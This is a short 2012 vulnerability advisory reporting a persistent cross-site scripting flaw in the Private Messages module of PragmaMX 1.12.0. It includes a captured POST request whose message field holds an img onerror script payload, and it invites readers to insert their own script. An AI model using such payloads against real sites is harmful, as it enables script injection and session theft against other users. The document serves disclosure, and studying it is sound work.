Persistent XSS in PragmaMX 1.2.10

# TITLE ... # Persistent XSS in PragmaMX 1.12.0 for logged in users    #
# DATE .... # 30.01.2012 .......................................... #
# AUTOHR .. # http://hauntit.blogspot.com ................ #
# SOFT LINK # http://www.pragmamx.org ............................. #
# VERSION . # 1.12.0 .............................................. #
# TESTED ON # LAMP ................................................ #
#...................................................................#

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
 "pragmaMx - the fast CMS". :)
You should try it!

# 2. What is the type of vulnerability?
 This is persistent cross-site scripting for authenticated users.

Vulnerability exists in "Private Messages".
Here I present You sample HTTP traffic (from BurpProxy).

...cut...
POST /pragmaMx_1.12.0/html/modules.php?name=Private_Messages HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Ubuntu; X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://pragmaMx_1.12.0/html/modules.php?name=Private_Messages&op=send
Cookie: mxA9649D14D6AAF90E4A70576BF4ACC1=6db52d6de453f7a5890b36ebafd99fda; tab_ya_edituser=0; PHPSESSID=d7nhrjbs5i2pmjvo6vuj1hg2j1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

name=Private_Messages&op=submit&to_user=adminek&subject=persistent+MSG&image=icon1.gif&message=hi%21%0D%0A%27%3E%3Cimg+src%3Dy+onerror%3Dalert%28%27i+am+watching+you%27%29%3B%3E&msg_id=0&submit=Submit
...cut...

It depends on what code You will add to $message.
Persistent XSS code could be added when You decide to reply, too.

So click 'Reply' button, and as a $message parameter add Your XSS-code.

# 3. Where is bug :)

$message parameter in source code. We need (more) validation here. :)

# 4. More...

- http://www.pragmamx.org
- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net
- http://www.exploit-db.com/exploits/18439

# Best regards
#